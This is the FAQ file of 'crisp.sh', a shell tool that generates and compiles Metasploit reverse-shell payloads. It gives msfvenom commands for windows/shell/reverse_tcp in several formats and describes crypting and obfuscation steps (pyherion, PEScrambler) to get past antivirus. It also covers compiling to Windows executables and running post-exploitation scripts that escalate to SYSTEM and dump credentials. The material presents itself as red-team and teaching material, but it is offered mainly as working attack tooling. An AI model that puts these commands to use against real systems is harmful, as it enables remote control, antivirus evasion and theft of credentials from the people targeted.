crisp.sh [shellcode generator]- FAQ file

---
-- CRISP.SH 1.0.7 - metasploit Shellcode generator/compiler/listenner
-- Author: peterubuntu10@sourceforge.net  [ r00t-3xp10it ]
-- HomePage: http://sourceforge.net/u/peterubuntu10/profile/
-- Suspicious-Shell-Activity (SSA) RedTeam develop @2016
---
---
-- [ DEPENDENCIES ]
-- "crisp.sh will download/install all dependencies as they are needed"
-- Zenity | Metasploit | GCC (compiler) | Pyinstaller (python-to-exe module)
-- python-pip (pyinstaller downloader) | mingw32 (compile .EXE executables)
---
---
---
-- [ HOW CRISP.SH WORKS ? ]
-- The script will use msfvenom (metasploit) to generate shellcode
-- in diferent languages ( c | python | ruby | dll | msi | java)
-- and output it to the follow formats ( .c | .exe | .py | .rb | .dll | .php)
-- after beeing compiled using gcc (gnu cross compiler) or mingw32 or
-- pyinstaller to build the executable file, and then starts a multi-handler
-- to recibe the remote connection (shell or meterpreter session)
-- "P.S. some payloads are undetectable by AV soluctions!!!"
---
---
-- [ HOW DOES MSFVENOM ACTUALLY BUILDS SHELLCODE ? ]
-- The default way to generate a windows binarie payload (.exe)
-- using msfvenom its achieved through -f flag (Output format)
-- ----------------------------------------------------------------------------------------------------------------------------------
-- msfvenom -p payload-name LHOST=127.0.0.1 LPORT=666 -f exe -o payload.exe
-- ----------------------------------------------------------------------------------------------------------------------------------
-- But msfvenom allow us to build shellcode in diferent formats
-- like: asp, aspx, aspx-exe, dll, elf, exe, exe-small, hta-psh
-- macho, osx-app, psh, vba, vba-exe, vba-psh, vbs, bash, c
-- java, perl, powershell, python, ruby, sh, vbscript.
-- The complete list can be accessed using the follow command:
-- ---------------------------------------------------
-- sudo msfvenom --help-formats
-- ---------------------------------------------------
-- now lets generate an simple shellcode to windows/shell/reverse_tcp
-- and chosing powershell as output format "note that we will not
-- use the flag -o (Save the payload) option, this way the shellcode
-- generated will only displays in current terminal windows".
-- ------------------------------------------------------------------------------------------------------------------------------------------
-- msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f powershell
-- ------------------------------------------------------------------------------------------------------------------------------------------
-- using java as output format:
-- ----------------------------------------------------------------------------------------------------------------------------------
-- msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f java
-- ----------------------------------------------------------------------------------------------------------------------------------
-- using hex as output format:
-- ----------------------------------------------------------------------------------------------------------------------------------
-- msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f hex
-- ----------------------------------------------------------------------------------------------------------------------------------
---
---
---
-- [ BUILDING SHELLCODE USING MSFVENOM DOES NOT FLAG AV ?]
-- Let's take Veil-Evasion framework as example to describe
-- many of the technics used in this tool or others developers
-- like: ReL1K, harmj0y, raphael mudge(raffi), etc, etc ...
-- Lets describe veil-evasion python payloads (obfuscated)
-- "this tool uses the same technic to build the final payload"
-- 1 - veil uses msfvenom to build shellcode in C language
-- 2 - injects the shellcode source code into one funtion writen
--     in pyhton language (the funtion will execute the shellcode)
-- 3 - then uses 'pyherion.py' crypter/obfuscater to obfuscate the
--     source code in base64+AES random key (all together = FUD)
-- FINAL NOTES: my tool (python -> pyherion) does the same thing!
--
---
-- [ WHAT ARE THE FILES INSIDE BINARIES FOLDER ? ]
-- The shellcode generated can not be executed by its own
-- it requires to be embedded into a funtion (example: python)
-- to be executed in RAM, and if we chose to output a binarie
-- file than many of the formats needs to be compiled first,
-- So the files inside '/crispy/shell/binaries' are funtions
-- previous writen to be embedded with shellcode to serve as
-- example how the shellcode its embedded into one funtion.
---
---
-- [  HOW DO I USE FAST_MIGRATE.RC FILE ?]
-- fast_migrate.rc its a post-exploitation resource file
-- to elevate the current session (meterpreter) to nt
-- authority/system and migrate to wininit.exe priviliged
-- process, some modules in crisp.sh will pop up an terminal
-- windows so its advice to migrate fast to another process
-- this can be acomplish by issue the follow command:
-- ----------------------------------------------------------------------------------------------------------------------------------
-- meterpreter > resource /home/<username>/crispy/shell/bin/fast_migrate.rc
-- ----------------------------------------------------------------------------------------------------------------------------------
---
---
-- [ HOW DO I USE CRED_DUMP.RC FILE ? ]
-- cred_dump.rc its a post-exploitation resource file
-- to dump credentials (passwords/tokens) of target system
-- "only works againts a windows system" and it can be run
-- using the follow command againts a open meterpreter session:
-- ----------------------------------------------------------------------------------------------------------------------------------
-- meterpreter > resource /home/<username>/crispy/shell/bin/cred_dump.rc
-- ----------------------------------------------------------------------------------------------------------------------------------
---
---
-- [ WHAT IS TEACHER_CONSOLE.SH SCRIPT ? ]
-- teacher_console.sh its a script in bash with some exercisses in
-- building shellcode outputs to better teach how to generate shellcodes
-- using msfvenom framework, it will display all msfvenom output formats,
-- asks to user what port,host, output format and will build shellcode
-- into teacher_console.sh terminal windows.
---
---
---
-- [ WHY PYINSTALLER DOES NOT WORK UNDER MY DISTRO ? ]
-- The pyinstaller that crisp.sh uses its to linux distros
-- (diferent from veil framework that uses wine to run it)
-- and this version does not run under 'root user account'
-- (kali users are root users by default), in other linux
-- distros i have bypassed the restriction by running the
-- pyinstaller using 'normal user account' with the follow
-- ------------------------------------------------------
-- command: su $user -c pyinstaller
-- ------------------------------------------------------
---
---
---
-- [ HOW CAN I USE PESCRAMBLER.EXE ? ]
-- PEScrambler.exe its a windows binarie executable file
-- and like pyinstaller does not run under 'root user acc'
-- if you wish to use it then open an terminal(normal user)
-- and issue the follow command on it:
-- -----------------------------------------------------------------------
-- wine pescrambler.exe -i abc.exe -o new.exe
-- -----------------------------------------------------------------------
-- (pescrambler.exe does not compile payloads to .exe format
-- it will take an executable.exe and obfuscate the sourcecode
-- to better evade AV detection rate (not very effective now)
---
---
---
-- [ DESCRIPTION OF NATIVE CRYPTERS/COMPILERS ]
-- pyherion.py = Python 'crypter' that builds an dynamic AES/base64
-- encoded launcher (with a random key) that's decoded/decrypted
-- in memory (RAM) and then executed, 'evading AV detection'.
-- ------------------------------------------------------------------------------------
-- sudo ./pyherion.py file-to-crypt.py output-name.py
-- ------------------------------------------------------------------------------------
--
-- PEScrambler.exe =  crypter to obfuscate an existing .exe
-- (run it using WINE under linux distros)
-- ---------------------------------------------------------------------------------------------------
-- su USERNAME -c wine pescrambler.exe -i abc.exe -o new.exe
-- ---------------------------------------------------------------------------------------------------
--
-- pyinstaller.py = compile an existing python file into one .exe
-- crisp.sh will download/install pyinstaller into your distro
-- ----------------------------------------------------------------------------------------------------------------------
-- su USERNAME -c pyinstaller --noconsole --onefile file-to-be-compiled.py
-- ----------------------------------------------------------------------------------------------------------------------
--
-- gcc = gnu cross compiler to build unix executable files
-- crisp.sh will download/install gcc into your distro
-- ---------------------------------------------------------------------------------------------------------------------------
-- gcc -fno-stack-protector -z execstack file-to-be-compiled.c -o output-name
-- ---------------------------------------------------------------------------------------------------------------------------
--
-- mingw32 = cross compiler to build .exe executable files
-- crisp.sh will download/install mingw32 into your distro
-- ---------------------------------------------------------------------------------------------------------------------------
-- i586-mingw32msvc-gcc file-to-be-compiled -o output-name.exe -mwindows
-- ---------------------------------------------------------------------------------------------------------------------------
---


---
-- [ SPECIAL THANKS TO ]:
-- HD Moore (metasploit father) | Nick Harbour (PEScrambler.exe)
-- @harmj0y (pyherion) | @G0tmi1k @chris truncker @harmj0y (ruby_stager)
-- ReL1K (pyinstaller) | astr0baby (reflective fud dll injection method)
-- and offcouse me ^_^ | happy hacking, and stay safe...
----
EOF